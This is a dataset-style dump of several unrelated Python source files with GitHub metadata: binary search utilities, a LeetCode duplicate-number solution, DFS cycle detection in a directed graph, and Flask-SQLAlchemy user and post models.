] | permissive | uddeshyatyagi/Ds-Algo-ML | 7974942f8e74bbaa3330af042c3b2bc7ff4be52e | 9cd5f0dd8ec2c6df44edd9fb7e1d37d22a986d2d | refs/heads/main | 2023-02-06T05:32:57.459332 | 2020-10-23T19:24:06 | 2020-10-23T19:24:06 | 305,129,611 | 0 | 1 | MIT | 2020-10-21T07:36:33 | 2020-10-18T15:11:54 | Jupyter Notebook | UTF-8 | Python | false | false | 2,733 | py |
import bisect
def bisect_left(sorted_collection, item, lo=0, hi=None):
if hi is None:
hi = len(sorted_collection)
while lo < hi:
mid = (lo + hi) // 2
if sorted_collection[mid] < item:
lo = mid + 1
else:
hi = mid
return lo
def bisect_right(sorted_collection, item, lo=0, hi=None):
if hi is None:
hi = len(sorted_collection)
while lo < hi:
mid = (lo + hi) // 2
if sorted_collection[mid] <= item:
lo = mid + 1
else:
hi = mid
return lo
def insort_left(sorted_collection, item, lo=0, hi=None):
sorted_collection.insert(bisect_left(sorted_collection, item, lo, hi), item)
def insort_right(sorted_collection, item, lo=0, hi=None):
sorted_collection.insert(bisect_right(sorted_collection, item, lo, hi), item)
def binary_search(sorted_collection, item):
left = 0
right = len(sorted_collection) - 1
while left <= right:
midpoint = left + (right - left) // 2
current_item = sorted_collection[midpoint]
if current_item == item:
return midpoint
elif item < current_item:
right = midpoint - 1
else:
left = midpoint + 1
return None
def binary_search_std_lib(sorted_collection, item):
index = bisect.bisect_left(sorted_collection, item)
if index != len(sorted_collection) and sorted_collection[index] == item:
return index
return None
def binary_search_by_recursion(sorted_collection, item, left, right):
if right < left:
return None
midpoint = left + (right - left) // 2
if sorted_collection[midpoint] == item:
return midpoint
elif sorted_collection[midpoint] > item:
return binary_search_by_recursion(sorted_collection, item, left, midpoint - 1)
else:
return binary_search_by_recursion(sorted_collection, item, midpoint + 1, right)
def __assert_sorted(collection):
if collection != sorted(collection):
raise ValueError("Collection must be ascending sorted")
return True
if __name__ == "__main__":
import sys
user_input = input("Enter numbers separated by comma:\n").strip()
collection = [int(item) for item in user_input.split(",")]
try:
__assert_sorted(collection)
except ValueError:
sys.exit("Sequence must be ascending sorted to apply binary search")
target_input = input("Enter a single number to be found in the list:\n")
target = int(target_input)
result = binary_search(collection, target)
if result is not None:
print(f"{target} found at positions: {result}")
else:
print("Not found")
| [
"uddeshyatyagi775@gmail.com"
] | uddeshyatyagi775@gmail.com |
237ed5f539d9574b418d151c89a4c1c84834526c | 3adec884f06eabfe50d4ab3456123e04d02b02ff | /287. Find the Duplicate Number.py | df0582aa45ceb74b6bdc850e22299524e03b7121 | [] | no_license | windmzx/pyleetcode | c57ecb855c8e560dd32cf7cf14616be2f91ba50e | d0a1cb895e1604fcf70a73ea1c4b1e6b283e3400 | refs/heads/master | 2022-10-05T17:51:08.394112 | 2020-06-09T09:24:28 | 2020-06-09T09:24:28 | 250,222,719 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 527 | py | from typing import List
class Solution:
def findDuplicate(self, nums: List[int]) -> int:
left = 1
right = len(nums)
while left < right:
mid = (left+right)//2
count = 0
for i in nums:
if i <= mid:
count += 1
if count>mid:
right=mid
else:
left=mid+1
return left
if __name__ == "__main__":
x=Solution()
print(x.findDuplicate([1,3,3,2]))
| [
"2281927774@qq.com"
] | 2281927774@qq.com |
691476e157765a1179b72bce27e53cd645aa1b05 | 4d5b1d7bf263449d001573ec0428bcedfc992cdf | /DS-Graphs-master/DS-Graphs-master/DS-Graphs/Detect Cycle in a directed graph using colors.py | 81e14889cd85dde7f90c9f2b00c7c579d5746610 | [] | no_license | sgupta117/Data-Structure-with-Python | bdb5b710a4c4b3e793be91973eb0a35ae4c42b96 | 82b3f10e2611e064705f41533df9aec81fa99821 | refs/heads/master | 2021-02-17T21:57:13.351016 | 2020-06-20T20:55:21 | 2020-06-20T20:55:21 | 245,129,926 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,289 | py | # Python program to deetect cycle in
# a directed graph
from collections import defaultdict
class Graph():
def __init__(self, V):
self.V = V
self.graph = defaultdict(list)
def addEdge(self, u, v):
self.graph[u].append(v)
def DFSUtil(self, u, color):
# GRAY : This vertex is being processed (DFS
# for this vertex has started, but not
# ended (or this vertex is in function
# call stack)
color[u] = "GRAY"
for v in self.graph[u]:
if color[v] == "GRAY":
return True
if color[v] == "WHITE" and self.DFSUtil(v, color) == True:
return True
color[u] = "BLACK"
return False
def isCyclic(self):
color = ["WHITE"] * self.V
for i in range(self.V):
if color[i] == "WHITE":
if self.DFSUtil(i, color) == True:
return True
return False
# Driver program to test above functions
g = Graph(4)
g.addEdge(0, 1)
g.addEdge(0, 2)
g.addEdge(1, 2)
g.addEdge(2, 0)
g.addEdge(2, 3)
g.addEdge(3, 3)
print
"Graph contains cycle" if g.isCyclic() == True \
else "Graph doesn't conatin cycle" | [
"noreply@github.com"
] | sgupta117.noreply@github.com |
46faef68d9ce77da1132f09cf8c57f06fac2e31d | 0380b1062081604e2edf18efccc86bab14cb7705 | /test/models.py | 52ccd0ce12fb2033278ee4ea6bc202eff331dba1 | [] | no_license | Demch1k/microblog | acdb5f751bbf089122e1a124f9850e95e7fab9db | fd5beb95cc03ff2db44bd055e045d2ad5d01a454 | refs/heads/master | 2020-04-17T03:37:37.632063 | 2019-01-24T05:29:09 | 2019-01-24T05:29:09 | 165,824,527 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,509 | py | from datetime import datetime
from test import db
from werkzeug.security import generate_password_hash, check_password_hash
from flask_login import UserMixin
from test import login
from hashlib import md5
class User(UserMixin, db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(64), index=True, unique=True)
email = db.Column(db.String(120), index=True, unique=True)
password_hash = db.Column(db.String(128))
posts = db.relationship('Post', backref='author', lazy='dynamic')
about_me = db.Column(db.String(140))
last_seen = db.Column(db.DateTime, default=datetime.utcnow)
def __repr__(self):
return '<User {}>'.format(self.username)
def set_password(self, password):
self.password_hash = generate_password_hash(password)
def check_password(self, password):
return check_password_hash(self.password_hash, password)
def avatar(self, size):
digest = md5(self.email.lower().encode('utf-8')).hexdigest()
return 'https://www.gravatar.com/avatar/{}?d=identicon&s={}'.format(
digest, size)
class Post(db.Model):
id = db.Column(db.Integer, primary_key=True)
body = db.Column(db.String(140))
timestamp = db.Column(db.DateTime, index=True, default=datetime.utcnow)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'))
def __repr__(self):
return '<Post {}>'.format(self.body)
@login.user_loader
def load_user(id):
return User.query.get(int(id)) | [
"demch1k.mid@gmail.com"
] | demch1k.mid@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.